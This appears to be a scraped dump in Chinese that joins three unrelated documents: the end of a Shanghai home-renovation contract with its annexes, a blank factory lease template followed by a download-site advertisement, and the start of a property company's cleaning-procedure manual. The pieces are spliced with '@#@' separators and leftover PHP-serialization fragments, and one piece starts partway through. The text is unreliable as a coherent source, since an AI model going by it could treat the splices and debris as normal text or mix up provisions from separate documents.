@#@@#@ 1)卫生间和厨房要作好防水,并经12小时积水渗漏试验@#@ 2)卫生洁具固定牢固,管道接口严密。
@#@@#@ 3)线路穿管后必须可以抽动。
@#@@#@ 4)杉木地板与龙骨成45度角铺,使用木螺钉固定。
@#@@#@ 5)墙面乳胶漆,一底两面@#@ 6)门套和踢角线,一底三面@#@ 7)门,一底三面@#@ 4.甲方提供的材料、设备质量不合格而影响工程质量,其返工费用由甲方承担,工期顺延。
@#@@#@ 5.由于乙方原因造成质量事故,其返工费和材料损失由乙方承担。
@#@本工地在施工期间和保修期间内如因施工质量问题所引起的周围邻居的财产损失,由乙方负责修复及赔偿;@#@@#@ 6.在施工过程中,甲方提出设计修改意见及增减工程项目,须提前与乙方联系后,方能进行该项目的施工。
@#@@#@ 7.若部分工序由甲方材料供应厂家免费安装或由甲方安排其他单位安装,甲方应事先安排时间并通知乙方,乙方应予以配合,并避免造成整体工期的延误。
@#@@#@ 8.工程验收:
@#@甲、乙双方应及时办理隐蔽工程和中间工程的检查与验收手续。
@#@工程每一节点,乙方应提前两天通知甲方进行验收。
@#@未经甲方在附件四《工程质量验收单》中书面确认,乙方不得进行下一阶段工程施工。
@#@。
@#@如果甲方在规定时间内不能组织验收,须及时通知乙方,另定验收日期。
@#@如通过竣工验收,甲方应承认原竣工日期。
@#@@#@ 9.工程竣工:
@#@乙方应提前二天通知甲方验收,甲方在接到通知三日内组织验收,并书面办理验收确认手续。
@#@@#@ 如果甲方在规定时间内不能组织验收,须及时通知乙方,另定验收日期。
@#@如通过竣工验收,甲方应承认原竣工日期。
@#@@#@ 10.工程保修期一年,从竣工验收确认之日起算。
@#@保修期内由于乙方施工不当和乙方提供材料质量不合格造成的质量问题,乙方无条件地进行维修,并承担相应材料费用。
@#@因上述原因给甲方造成损失的,乙方应承担相应的赔偿责任;@#@保修期内如属甲方使用不当造成损坏,直至不能正常使用,乙方可酌情收费。
@#@保修期结束后,乙方负责长期为甲方提供维修服务,直至甲方重新进行该房屋的装修工程。
@#@第五条关于安全生产和防火的约定@#@ 1.甲方提供的施工要求应同乙方协商,施工场地应符合防火、防事故的要求,主要包括电气线路、煤气管道、自来水和其它管道畅通、合格。
@#@乙方在施工中应采取必要的安全防护和消防措施,保障作业人员及相邻居民的安全,遵守物业管理部门的装修指南,防止相邻居民住房的管道堵塞、渗漏水、停电、物品毁坏等事故发生。
@#@如遇上述情况发生,属甲方责任的,甲方负责修复和赔偿;@#@属于乙方责任的,乙方负责修复和赔偿。
@#@@#@ 2.施工中凡涉及改变房屋结构,拆、改承重墙,加大楼面荷载,由甲方向物业管理部门提出协商,经确认后施工。
@#@@#@ 3.乙方应注意煤气使用安全,确保登高施工的安全保障等各类安全保证,并提醒施工工程人员注意安全,产生任何事故的责任完全由乙方负责。
@#@@#@ 第六条关于工程价款及结算的约定@#@ 1.工程款付款方式:
@#@@#@ 工程款及材料款付款时间表@#@ 付款时间工程款付款比例金额材料款总计金额@#@ 合同签订后开工前三天内30%@#@ 水电验收合格时水电验收合格两天内0@#@ 工期过半油漆工进场前30%@#@ 竣工验收验收合格当天30%@#@ 工程质保尾款验收合格之日起六个月10%@#@ 2.双方款项往来均应出具收据。
@#@@#@ 3.工程结算:
@#@。
@#@@#@ 第七条违约责任@#@ 1.由于甲方原因逾期竣工的,至逾期15天后,每逾期一天甲方向乙方支付50元违约金。
@#@甲方未按协议约定时间付款的,逾期部分在逾期期间按同期活期银行存款利率向乙方支付利息。
@#@@#@ 2.由于乙方原因逾期竣工的,至逾期15天后,每逾期一天乙方向甲方支付50元违约金。
@#@@#@ 3.甲方未办理有关手续,强行要求乙方拆改原有建筑承重结构及共用设备管线,由此发生的损失或事故由甲方负责并承担责任。
@#@@#@ 4.乙方擅自拆改原有建筑承重结构或共用设备管线,由此发生的损失或事故,由乙方负责并承担责任。
@#@@#@ 5.工程未办理验收、结算手续,甲方提前使用或擅自动用工程由此造成无法验收和损失的,由甲方负责。
@#@@#@ 6.工程关键节点未办理验收,乙方提前进行下一阶段工程施工,由此造成损失的,由乙方负责。
@#@@#@ 7.乙方未按照附件二《承包材料报价单》中规定的品牌、规格、型号等内容和设计施工要求供应材料、设备,应根据假冒伪劣的材料的价款,双倍赔偿甲方;@#@如因此给甲方造成损失的,乙方应承担全部的赔偿责任。
@#@@#@ 8.如在施工过程中,产生工程和材料质量问题以及各类应由施工工程队承担的责任,甲方只向乙方一人追究赔偿责任。
@#@@#@ 第八条纠纷处理方式@#@ 因工程质量双方发生争议时,双方应尽量协商。
@#@或若协商不成时,可以按照本协约定向上海仲裁委员会申请仲裁或向人民法院提起诉讼@#@ 第九条协议的变更和解除@#@ 1.协议经双方签字生效后,双方必须严格遵守。
@#@任何一方需变更协议内容,应经协商一致后,重新签订补充条款。
@#@@#@ 2.施工过程中任何一方提出终止协议,须向另一方以书面形式提出,经双方同意办理清算手续,订立终止协议协议,解除本协议。
@#@@#@ 3.如由于乙方施工出现质量问题,甲方可以无条件提出中止协议,而无需获得乙方的认可。
@#@@#@ 第十条附则@#@ 1.工程开工前,甲方应将房屋外门钥匙_1_把交乙方施工队负责人保管。
@#@工程竣工验收时,甲方负责提供新锁_1_套,由乙方当场负责安装交付使用。
@#@@#@ 2.本协议签订后,工程不得转包。
@#@@#@ 3.本协议一式_2_份,甲、乙双方各执一份,协议附件为本协议的组成部分,具有同等的法律效力。
@#@第十一条协议附件@#@ 附件一:
@#@物业管理部门的装修指南@#@ 附件二:
@#@承包材料报价单@#@ 附件三:
@#@甲方自购材料清单@#@ 附件四:
@#@工程质量验收单@#@ 附件五:
@#@工程结算单@#@ 附件六:
@#@施工工艺清单@#@ 甲方:
@#@乙方:
@#@@#@ 住址:
@#@住址:
@#@@#@ 电话:
@#@电话:
@#@@#@ 邮编:
@#@邮编:
@#@@#@ @#@ 签订日期:
@#@年月日@#@ 签订地点:
@#@上海@#@ 附件二:
@#@@#@ 承包材料报价单@#@ 甲方:
@#@@#@ 乙方:
@#@@#@ 类别名称品牌规格单位数量单价总价备注@#@ 木材料杉木地板@#@ 木材料落叶松地板隔栅@#@ 木材料樟子松@#@ 人造板类纸面石膏板@#@ 人造板类柳桉三夹板@#@ 人造板类十二厘高密度板@#@ 人造板类五夹板@#@ 人造板类细木工板@#@ 线条类实木门套线@#@ 线条类实木踢脚线@#@ 漆类家具面漆白色@#@ 漆类家具底漆白色@#@ 漆类稀释剂@#@ 粘结胶水类硅胶@#@ 粘结胶水类白胶@#@ 粘结胶水类熟胶粉@#@ 粘结胶水类801胶水@#@ 粘结胶水类强力万能胶@#@ 电器配件类线管@#@ 电器配件类电线@#@ 电器配件类电话线@#@ 电器配件类双向视频线@#@ 电器配件类弯头三通@#@ 五金类圆钉@#@ 五金类地板隔膨胀管@#@ 五金类排钉、蚊钉@#@ 五金类铜三角阀@#@ 五金类煤气阀、煤气管及配件、弯头三通、生料带、厚白漆等@#@ 基础材料类白水泥@#@ 基础材料类防水砂浆@#@ 基础材料类瓷砖填缝剂@#@ 基础材料类水泥@#@ 基础材料类黄沙@#@ 基础材料类砖头@#@ 辅助材料类绷带@#@ 辅助材料类蛇皮带@#@ 辅助材料类扫把@#@ 辅助材料类铁楸@#@ 辅助材料类美纹纸@#@ 辅助材料类回丝@#@ 辅助材料类砂皮@#@ 辅助材料类弹性腻子@#@ 辅助材料类刷子@#@ 辅助材料类滑石粉@#@ 辅助材料类石膏粉@#@ 辅助材料类厨卫进口大理石过门石@#@ 其它辅助材料 @#@ 辅料全包总价 @#@ 甲方代表:
@#@乙方代表:
@#@@#@ 年月日@#@ @#@ 附件三:
@#@@#@ 甲方自购材料清单@#@ 甲方:
@#@@#@ 乙方:
@#@@#@ 名称数量备注@#@ 墙地砖 @#@ 洁具配套落水 @#@ 卫生洁具 @#@ 厨卫龙头 @#@ 厨卫吊顶铝扣板、轻钢龙骨 厂家安装@#@ 橱柜及配件 @#@ 厨房水槽 @#@ 复合地板 厂家安装@#@ 热水器 @#@ 浴霸 @#@ 模压房门 @#@ 封闭阳台 @#@ ppr水管 @#@ 五类网线、水晶头 @#@ 50支发烧线 @#@ 八口hub @#@ 插座开关面板 @#@ 插座暗盒 @#@ 厨房移门 @#@ 主卫玻璃材料 @#@ 门夹、铰链、密封条 @#@ 玄关玻璃材料、边框 @#@ 背景墙玻璃材料、广告钉 @#@ 镜子 @#@ 主卫防水海吉布 厂家全套施工@#@ 沙发背景海吉布 厂家粘贴@#@ 灯具 @#@ 门锁 @#@ 门吸 @#@ 门合页 @#@ 地漏 @#@ 卫浴五金 @#@ 衣架 @#@ 浴帘 @#@ 窗帘及杆 @#@ 乳胶漆 @#@ 滚筒 @#@ 甲方代表:
@#@乙方代表:
@#@@#@ 年月日@#@ 附件四:
@#@@#@ 工程质量验收单@#@ 甲方:
@#@_@#@ 乙方:
@#@_@#@ 日期检验项目名称检验结果检验签名@#@ 合格不合格补验@#@ 水电@#@ 木工@#@ 泥工@#@ 油漆工@#@ 安装工程@#@ 初步清场@#@ @#@ 验收意见整体工程甲方代表:
@#@乙方代表:
@#@年月日@#@ 注:
@#@分项检验评定:
@#@合格打“√”,不合格打“×@#@”,补验合格打“√”签名。
@#@@#@ 附件五:
@#@@#@ 工程结算单@#@ 甲方:
@#@__________@#@ 乙方:
@#@___________@#@ 日期工程款材料款双方签字@#@ 1元元@#@ 2元元@#@ 3元元@#@ 4元元@#@ 5元元@#@ 6元元@#@ 7元元@#@ 8元元@#@ 合计元元@#@ 年月日@#@";i:
45;s:
8762:
"标准版厂房租赁合同书@#@标准版厂房租赁合同书@#@@#@标准版厂房租赁合同书@#@合同编号:
@#@____@#@甲方:
@#@_____________________________ @#@乙方:
@#@_____________________________ @#@依据《合同法》及有关法律法规的规定,甲方将其合同拥有的厂房宿舍出租给乙方使用的有关事宜,双方达成协议签定标准厂房租赁合同如下:
@#@@#@一、租赁地点及租金:
@#@甲方提供位于 @#@厂房出租给乙方生产、办公使用,厂房月租金为人民币¥____元,宿舍位于____栋____楼____间,每间¥____元,小计人民币¥____元,乙方应付以上租金每月共计人民币¥____元,大写:
@#@ ____。
@#@@#@二、租赁期限:
@#@从____年____月____日起至____年____月____日止,共____年。
@#@@#@三、装修期和计租日:
@#@厂房装修免租期为____天,即从____年____月____日开始计租。
@#@@#@四、其它费用:
@#@乙方每月电梯费为¥____元,卫生费为¥____元,管理费为¥____元,厂长费为¥____元。
@#@@#@五、合同签订后,乙方即交付两个月租金给甲方作为租赁保证金共计人民币¥____元,大写____。
@#@另交付首月租金¥____元,大写:
@#@________。
@#@月租金及电梯费、卫生费于每月5日前交清当月费用,水电费于每月5日前交清上月费用,若乙方逾期支付则按所欠总额的每日5‰交违约金给甲方,且甲方有权停止供应水电及质押乙方货物等,直至乙方交清租金及有关费用为止,由此产生的经济损失及法律后果均由乙方承担。
@#@若逾期十日以上,则甲方有权解除本合同并没收租赁保证金。
@#@甲方将解除本合同的通知贴示于乙方承租房产日常进出处视为通知到达乙方,乙方须于甲方通知之日起五天内迁出租赁房产,逾期没迁出的甲方有权处置乙方财产,将该租赁房产另行对外出租,乙方所持原租赁合同自动作废。
@#@@#@六、甲方权利与责任:
@#@@#@1、甲方负责厂房____KVA的需电量到配电房,水到每栋厂房总表。
@#@水、电费由甲方统一代收,每月按乙方分表的用量向乙方收取。
@#@如水电费有浮动情况,乙方必须按浮动价格支付。
@#@@#@2、甲方应协助乙方办理房屋租赁合同,但与租赁有关的税与费由乙方负责承担。
@#@@#@3、租赁期间,如甲方非法依合同约定中途收回租赁房产,须无息退还乙方租赁保证金,并支付两个月租金作为赔偿损失。
@#@@#@4、租赁期间,甲方有权对乙方租赁房产的使用情况进行安全检查及监督询问工资发放情况,乙方应当予以配合。
@#@若发生欠薪、逃薪事件,则视乙方违约,甲方有权解除本合同并没收租赁保证金,同时甲方有权通知乙方及时支付员工工资,如乙方在三天内仍未解决,则甲方有权向劳动部门申诉,并可采取强制措施责令乙方及时付薪,或将乙方所属设备和财产变卖抵付员工工资及甲方相关费用和损失,如不足弥补甲方损失的,甲方有权继续追索。
@#@@#@5、厂房、宿舍等公共设施的物业由甲方负责管理,乙方不能擅自在任何公用空地、屋顶、通道安装设备或堆放杂物,否则甲方有权拆除并没收该设备、杂物等,若给甲方造成损失的,乙方给予赔偿。
@#@@#@七、乙方权利与责任:
@#@@#@1、乙方装修时,装修设计要符合政府相关部门规定,乙方不得改变原来房屋的总体结构:
@#@如需要铺地、挖地、隔墙、原有墙体开门、窗须经甲方书面同意并保证复原。
@#@若乙方不按要求施工,甲方有权拒绝乙方使用厂房,同时不影响其他收费条款的执行。
@#@施工时应注意安全,因施工不当所造成的损失及安全事故均由乙方承担。
@#@@#@2、乙方必须遵守法律法规,并向甲方提供生产经营的合法资料,生产必须符合环保、遵守消防法规等要求。
@#@不得从事任何非法活动,严禁生产或存放易燃易爆,有毒有害等物品,乙方负责处理生产排放的污水、粉尘、废气、噪音等污染物达到政府相关部门要求。
@#@乙方的生产经营活动与甲方无关,甲方不负任何责任。
@#@@#@3、乙方应负责厂房宿舍内的防火、卫生、内保等工作,不得在厂房宿舍内有烹饪行为。
@#@应防止第三者损害租赁房产、其它租赁物及附属设施,若损坏以上设施,乙方负责更换维修或按价赔偿。
@#@如乙方使用或管理不当,引起租赁房产、租赁物及连带性房屋、物产的损失,乙方负全部责任。
@#@@#@4、租赁期间,乙方不得将租赁房产向任何单位或个人作抵押、担保;@#@不得将租赁房产转租、转让、转借给任何单位或个人;@#@乙方用工不得违反《劳动法》和政府相关部门规定;@#@若违反以上条款则视乙方违约,甲方有权解除本合同并没收租赁保证金,给甲方造成的损失乙方负责赔偿。
@#@@#@5、乙方若是使用一楼以上的楼层,机器设备的重量不得超过厂房的承重量;@#@在使用货运电梯时,货物的重量不得超过电梯的承载量;@#@且货运电梯严禁载人上下班,因使用不当造成的损失及安全事故均由乙方承担。
@#@ @#@6、乙方中途退租,需提前两个月书面通知甲方,经甲方同意后,付清所欠甲方的款项,但租赁保证金作违约金处理不予退回,甲方有权解除合同收回该租赁房产并另行对外出租。
@#@若乙方未付清所欠甲方的款项,乙方以其设备及所有物件质押于甲方。
@#@甲方将质押物另行放置,所产生的费用、损失由乙方承担,甲方有权在解除合同的第二十天起处置质押物而优先受偿。
@#@乙方将租赁房产、其它租赁物恢复原状,否则承担支付恢复原状所产生的费用。
@#@ @#@八、凡涉及双方权利、义务的事宜,应以书面形式通知,甲乙双方以本合同所述地址为准并以对方为收件人付邮三日后或以专人送至前述地址,除以上方式外,甲方还可以在乙方承租的厂房显要位置张贴通知,均视为已经送达。
@#@@#@九、本合同有效期内,若发生不可抗力的意外事件或政府征用该租赁房产土地等,本合同则自动解除,无息退还乙方租赁保证金,双方互不承担责任。
@#@@#@十、本合同有效期届满,需提前两个月书面通知甲方,如乙方不继续租用,乙方所装修、安装的项目在不影响工业园正常运转的情况下自行全部拆除,恢复租赁房产及租赁物原状,清理干净,将租赁房产及场地完好交给甲方,否则乙方应支付恢复原状所产生的费用。
@#@修复期间的租金、水电费计至乙方迁出并交还租赁房产给甲方为止,经甲方验收合格,乙方交清有关租金及费用之后,无息退还乙方租赁保证金。
@#@乙方逾期不迁离或不返还租赁房产的,应向甲方加倍支付租金,甲方有权收回租赁房产并另行对外出租。
@#@拖延十天以上,视为乙方放弃租赁房产内所有设备、财产的所有权,甲方有权处理。
@#@@#@十一、本合同未尽事宜,经双方协商一致后,可另行签订补充协议。
@#@@#@十二、本合同一式贰份,甲、乙双方各执一份,双方签字或盖章后生效。
@#@@#@注:
@#@以上合同条款除空格处可手写外,其余手写无效。
@#@ @#@ @#@@#@甲方:
@#@ 乙方:
@#@@#@法定代表人:
@#@ 法定代表人:
@#@@#@身份证号码:
@#@ 身份证号码:
@#@ @#@通讯地址:
@#@ 通讯地址:
@#@ @#@联系电话:
@#@ 联系电话:
@#@ @#@ 签订日期:
@#@ 年月日@#@ @#@@#@欢迎您下载我们的文档,后面内容直接删除就行@#@资料可以编辑修改使用@#@资料可以编辑修改使用@#@ @#@@#@致力于合同简历、论文写作、PPT设计、计划书、策划案、学习课件、各类模板等方方面面,@#@打造全网一站式需求@#@ @#@@#@Ppt课件制作设计,word文档制作、图文设计制作、发布广告等,@#@秉着以优质的服务对待每一位客户,做到让客户满意!
@#@@#@感谢您下载我们文档@#@ @#@@#@";i:
46;s:
27042:
"保洁作业规范@#@陕西超洁物业有限责任公司咸阳分公司@#@保洁作业规范@#@编号:
@#@CJWY-ZY(BJGF)-2011@#@版次:
@#@A/0@#@状态:
@#@@#@编制:
@#@@#@审核:
@#@@#@批准:
@#@@#@ @#@@#@发布日期:
@#@2011年03月01日实施日期:
@#@2011年03月01日@#@陕西超洁物业有限责任公司发布@#@企业宗旨:
@#@@#@以提高人民的生活水平为目的,着力改善国际都市优质环境,努力缔造一个文明、清洁、和谐、幸福、美好的家园。
@#@@#@经营理念:
@#@@#@以德经营信誉至上@#@服务社会客户第一@#@造福人类共建文明@#@企业行为:
@#@@#@自我提升良性竞争爱护公物@#@珍惜资源勤俭节约共同发展@#@员工品质:
@#@@#@勤奋负责精细爱物节约文明@#@企业精神:
@#@@#@专业服务精益求精@#@ @#@@#@目录@#@序号@#@制度名称@#@编号@#@页码@#@1@#@清洁工具的正确认识和使用@#@CJWY-ZY(BJGF)01-2011@#@4@#@2@#@保洁药剂的正确认识和使用@#@CJWY-ZY(BJGF)02-2011@#@6@#@3@#@保洁基本技能操作@#@CJWY-ZY(BJGF)03-2011@#@10@#@4@#@专项保洁时间、频次规定@#@CJWY-ZY(BJGF)04-2011@#@12@#@5@#@保洁标准@#@CJWY-ZY(BJGF)05-2011@#@13@#@6@#@保洁检查扣分标准@#@CJWY-ZY(BJGF)06-2011@#@20@#@7@#@不锈钢的清洁与保养@#@CJWY-ZY(BJGF)07-2011@#@21@#@8@#@石材的清洁与保养@#@CJWY-ZY(BJGF)08-2011@#@22@#@9@#@地毯的清洁与保养@#@CJWY-ZY(BJGF)09-2011@#@24@#@10@#@PVC地板的清洁与保养@#@CJWY-ZY(BJGF)10-2011@#@26@#@11@#@木地板的清洁与保养@#@CJWY-ZY(BJGF)11-2011@#@27@#@12@#@铝塑板的清洁与保养@#@CJWY-ZY(BJGF)12-2011@#@28@#@13@#@物业杀毒@#@CJWY-ZY(BJGF)13-2011@#@29@#@14@#@渭城行政中心项目部保洁程序@#@CJWY-ZY(BJGF)14-2011@#@32@#@15@#@市委项目部保洁程序@#@CJWY-ZY(BJGF)15-2011@#@36@#@16@#@一院项目部保洁程序@#@CJWY-ZY(BJGF)16-2011@#@40@#@17@#@中心医院项目部保洁程序@#@CJWY-ZY(BJGF)17-2011@#@41@#@18@#@卫校项目部保洁程序@#@CJWY-ZY(BJGF)18-2011@#@42@#@19@#@延长项目部保洁程序@#@CJWY-ZY(BJGF)19-2011@#@43@#@20@#@职院项目部保洁程序@#@CJWY-ZY(BJGF)20-2012@#@44@#@21@#@秦汉新城项目部保洁程序@#@CJWY-ZY(BJGF)21-2012@#@45@#@22@#@政务服务中心项目部保洁程序@#@CJWY-ZY(BJGF)22-2012@#@46@#@一、清洁工具的正确认识和使用@#@CJWY-ZY(BJGF)01-2011@#@1.清洁车:
@#@用于每天两次收集垃圾及放置擦洗病房时的保洁物品。
@#@在收集垃圾时,先将垃圾桶放置于前下方正中部位,待垃圾桶收满后,系紧垃圾袋口,再将垃圾桶倾斜慢慢取出袋子。
@#@这样收集的垃圾承装量大,又能减少垃圾袋的破损率,同时也节约了垃圾袋。
@#@@#@擦洗病房时,在清洁车上部排列有序的摆好空气清新剂、84消毒液、洁厕净、去污粉、洗衣粉、清洁球、抹布、铲刀、厕所刷等有效工具,这样在劳动工作中既方便又省时省力,更显专业。
@#@@#@2.榨水车:
@#@用于每天拖洗地面时使用。
@#@拖地前,先给柞水车放上2/3的水,再滴入适量的84消毒液进行拖地,拖洗结束后要及时清洗柞水车。
@#@@#@3.尘推:
@#@用于石材地面、木质地板地面的尘推清洁。
@#@每隔10—15天,需给尘推滴渗适量的静电吸尘剂,每次滴后必须待12小时风干后方可使用。
@#@推行时,尘推始终不能离开地面,待吸附满灰尘时,抖落灰尘并及时清扫。
@#@@#@4.伸缩杆:
@#@用于辅助其他清洁工具擦洗较高的墙面和天花板等。
@#@使用时可根据相应高度进行伸缩。
@#@一般情况下,伸缩杆应和工作面保持45°@#@夹角。
@#@@#@5.玻璃刮:
@#@用于辅助清洗玻璃表面的灰尘、污渍及水渍等。
@#@一般情况下,玻璃刮应和工作面保持45°@#@夹角。
@#@@#@6.铲刀:
@#@用于清除石材地面、水泥地面及墙身表面、口香糖及固体黏附性污物。
@#@@#@7.地刷、厕所刷:
@#@用于清洗地面的黏附物、梯角线、楼梯、马桶、便池、水池等。
@#@@#@8.卫生手套:
@#@用于收集垃圾、擦洗卫生间、马桶等较脏工作的防护。
@#@使用时要避免酸碱性和不锈钢油之类的清洁剂的腐蚀。
@#@@#@9.毛巾:
@#@用于擦拭物品表面灰尘、污渍等,使用前放置适量84消毒液消毒,用后及时清洗并晾干。
@#@有要求分色使用的区域,应按照相应的颜色正确使用(红色用于病房,绿色用于办公室,楼道及公共设施等,蓝色用于卫生间)。
@#@@#@10.鸡毛掸子:
@#@用于不便于湿擦的墙面及附属设施掸尘。
@#@@#@11.百洁布:
@#@用于洗室清洗或擦拭物品表面严重污渍。
@#@@#@12.拖把:
@#@用于地面的拖洗。
@#@首先将拖把区分开使用,标上明显的标记,排列有序的悬挂与指定地点,使用完毕进行及时清洗、消毒,以避免交叉感染。
@#@拖把应按照相应的颜色正确使用(红色用于病房,绿色用于楼道、楼梯及其他公共区域等,蓝色用于办公室,黑色用于卫生间)。
@#@@#@13.清洁桶:
@#@用于墙面擦洗或外出清洁等情况的使用。
@#@@#@14.笤帚簸箕:
@#@用于室内、外保洁范围的清扫使用。
@#@使用结束后,及时冲洗簸箕并清理笤帚上面缠着的附着物。
@#@@#@15、吸水拖把:
@#@主要由伸缩杆和海绵吸头组成,使用于水房、卫生间及有积水的地方,能快速吸水,反复使用。
@#@@#@16、多效平板地拖:
@#@只需换夹用的毛巾完成不同场合的保洁工作,并能在墙面、地面等平面灵活使用,方便可靠。
@#@@#@17、告示牌:
@#@提醒告知作用。
@#@用于保洁、维修等作业场合。
@#@@#@18、安全带:
@#@用于高空作业安全防护。
@#@@#@ @#@@#@二、保洁药剂的正确认识和使用@#@CJWY-ZY(BJGF)02-2011@#@1、去污粉@#@1.1主要成分是碳酸氢钠(工业用小苏打).介面活性剂,加了少量白土起吸附作用,细沙增加摩擦力,加了少量碱增加去污力,具有腐蚀性。
@#@很多里添有摩擦剂(细沙/二氧化硅),这就是为何能使物品用过后看起来很干净,但会使物体表面产生细微划痕。
@#@@#@1.2用于清除污迹、污垢@#@2、洁厕剂@#@2.1洁厕剂按其配方组成不同大致可分为三大类:
@#@酸性产品;@#@中性产品;@#@碱性产品。
@#@目前市场上以酸性产品为主,清洗效果最佳。
@#@洁厕剂的特点专门为厠盆内的顽固污渍而特别设计;@#@能迅速有效地分解厠盆内的顽固污垢,无须费力擦洗;@#@更有杀菌功效,清洁同时还能杀灭盆内隐藏的细菌;@#@光亮且不损伤厠盆表面。
@#@@#@2.2注意事项:
@#@使用洁厕剂的注意事项1)许多洁厕剂主要是靠盐酸来达到去除尿碱的作用的,而盐酸具有很强的腐蚀性,所以使用洁厕剂时应尽量避免接触皮肤。
@#@万一将洁厕剂洒到了皮肤上,可用清水进行冲洗。
@#@2)由于洁厕剂一般都具有腐蚀性,所以洁厕剂不能用于非瓷表面,如木地板、水泥地、大理石及铝制品。
@#@3)洁厕剂不能与其他洗涤用品同时使用。
@#@@#@3、玻璃清洁剂@#@3.1玻璃清洁剂,玻璃清洁剂是用于清洗玻璃表面的油污,其主要成分是表面活性剂,略带碱性或具中性。
@#@@#@玻璃清洁剂其分子中同时具有亲水的极性基团与亲油的非极性基团,当它的加入量很少时,即能大大降低溶剂(一般是水)的表面张力以及液界面张力,并且具有润滑、增溶、乳化、分散和洗涤等作用。
@#@@#@3.2特点:
@#@一抹即净,无需冲洗,且不会留下划痕和布痕,大面积清洁更加省事。
@#@本产品一定要经稀释后使用,一般可按1:
@#@3的比例稀释。
@#@当遇到较难清洁的表面或污渍太厚时,可按1:
@#@2或1:
@#@1的比例配制以增强清洁效果。
@#@本产品不适用于电视机或电脑屏幕(这类物品必须按照制造商所指示的方法擦拭)。
@#@@#@3.3适用范围:
@#@ 适合于各类光滑硬表面的清洗,尤其适合于各种玻璃表面的清洗。
@#@@#@4、不锈钢保养剂@#@4.1由于不锈钢设施或物件长期在一定环境下可能附着抛光蜡、冲压油等其它一些污渍,不仅会影响设施美观,而且这些附着物很容易让不锈钢生锈,所以对不锈钢工件表面的清洗保养是非常重要的过程。
@#@@#@4.2特点:
@#@1、清洗能力强,只有完全清楚不锈钢表面的污渍,才能更好的进行下一道工序;@#@2、环保、对人体无害,对不锈钢保养剂而言,必须是环保、对人体无害,才能生产环节中更好进行清洗;@#@3、对不锈钢设施无腐蚀,作为不锈钢清洗剂,不能对不锈钢设施表面腐蚀;@#@4、能对不锈钢设施起到一定防锈作用。
@#@@#@5、84消毒液@#@5.1本品是以次氯酸钠为主要有效成分的消毒液,有效氯含量为1.1%~1.3%,可杀灭肠道致病菌、化脓性球菌和细菌芽孢。
@#@适用于一般物体表面、白色衣物、医院污染物品的消毒。
@#@@#@5.2注意事项:
@#@1)84消毒液有一定的刺激性与腐蚀性,必须稀释以后才能使用。
@#@浸泡时间为10到30分钟。
@#@被消毒物品应该全部浸没在水中,消毒以后应该用清水冲洗干净后才能使用。
@#@2)84消毒液的漂白作用与腐蚀性较强,最好不要用于衣物的消毒,必须使用时浓度要低,浸泡的时间不要太长。
@#@3)84消毒液是一种含氯消毒剂,而氯是一种挥发性的气体,因此盛消毒液的容器必须加盖盖好,否则达不到消毒的效果。
@#@4)不要把84消毒液与其他洗涤剂或消毒液混合使用,因为这样会加大空气中氯气的浓度而引起氯气中毒。
@#@5)蔬菜、水果等食物最好不要用84消毒液消毒。
@#@6)84消毒液的有效期一般为1年,我们在购买与使用时要注意生产日期,放置太久其有效氯含量下降而影响消毒效果。
@#@7)如果浅色衣服染色,也可以用84消毒液进行漂白。
@#@8)外用消毒液,不得口服,置于儿童不易触及处。
@#@9)本品对金属有腐蚀作用,对织物有漂白作用,慎用。
@#@10)本品对皮肤有刺激性,使用时应戴手套,避免接触皮肤。
@#@11)本品宜现用现配,一次性使用,勿用50°@#@以上热水稀释。
@#@12)本品需25°@#@以下避光保存。
@#@@#@6、静电吸尘剂@#@6.1静电吸尘剂利用静电原理,拥有吸附灰尘和沙粒的能力,只要轻轻拍打尘推,即可抖落沙粒,大大减轻工作强度,适用于纯棉尘推和任何光滑表面。
@#@@#@6.2使用方法:
@#@用喷壶将吸尘均匀喷洒在尘推底部,晾干后即可使用。
@#@使用油性吸尘剂一周,需碱性清洁剂清洗尘推;@#@使用水性吸尘剂一周,只需清水清洗。
@#@@#@7、异味分解剂@#@7.1在渗透剂的作用下,触媒液渗透到被喷涂物品中,通过置换、促进有机挥发物快速散发;@#@残存的微量异味,被催化剂降解,变为无害、无味的稳定物质;@#@在触媒(催化剂)的作用下,甲醛与主反应剂反应,甲醛被分解,变为无毒无味的稳定物质。
@#@@#@7.2特点:
@#@1)快速:
@#@异味清除触媒在几分钟内渗透到污染源内部,7天内绝大部分有害气体及异味被置换、清除;@#@2)彻底:
@#@油漆、壁纸、地毯、皮革和布艺沙发、车内中存在的异味被彻底置换,残存的微量异味纳米催化剂降解,变为无害、无味的稳定物质;@#@3)不需要光源:
@#@无论有无光源,异味清除触媒均有效。
@#@@#@7.3注意事项:
@#@使用前晃动,使药剂各成分混合均匀;@#@@#@·@#@施工过程中药剂产生流动痕迹,随时使用湿毛巾擦均匀;@#@@#@·@#@施工结束7天后,如果有药剂痕迹,使用湿毛巾擦干净即可;@#@@#@·@#@雨天和湿度超过80%的天气请勿施工,任何水水在这种天气喷在布艺等物品上都有可能因无法及时干燥造成霉变。
@#@@#@8、全能清洁剂@#@8.1中性配方不伤蜡面及地面,并能使地面保持光泽。
@#@免过水设计,清洁后可即进行喷雾清洁、上蜡。
@#@本品还适用于清洁台面、墙面和各种可清洗表面。
@#@@#@8.2:
@#@本品用于硬质表面清洁的高效浓缩、多功能清洁剂。
@#@含多种高性能活性物,配方强力,可迅速、有效地清洁各种污垢及油渍;@#@对皮肤温和,不损伤物品。
@#@本品可用于以下硬质表面:
@#@地面,墙面、工作台面、桌面、家具、卫生洁具、以及其他由金属、瓷砖、玻璃、塑料和不锈钢制成的硬质表面。
@#@@#@9、来苏水@#@9.1作用:
@#@消毒防腐药。
@#@@#@9.2使用方法:
@#@用其水溶液浸泡,喷洒或擦抹污染物体表面,使用浓度为1%~5%,作用时间为30~60分钟.对结晶核杆菌使用5%浓度,作用1~2小时。
@#@为加强杀菌作用,可加热药液至40~50°@#@C对皮肤的消毒浓度为1~2%。
@#@消毒敷料、器械及处理排泄物用5~10%水溶液。
@#@@#@9.3注意事项:
@#@本品毒性大,气味易滞留。
@#@高浓度对皮肤有一定刺激作用和腐蚀作用。
@#@可致灼伤、疼痛、糜烂、坏死。
@#@眼部接触可使结膜和角膜灼伤、坏死。
@#@@#@10、地毯清洗剂@#@10.1高泡地毯清洗剂:
@#@复配性强,能与任何产品复配。
@#@耐硬水,耐酸碱,在硬水、酸碱条件下不影响发泡率,二次发泡率高,泡沫丰富稳定。
@#@PH值为6--8,水溶液为全透明。
@#@@#@10.2低泡地毯清洗剂:
@#@喷淋50℃以上使用、泡沫极少、脱脂力强、耐酸性、能满足常用压力下的喷淋脱脂清洗要求。
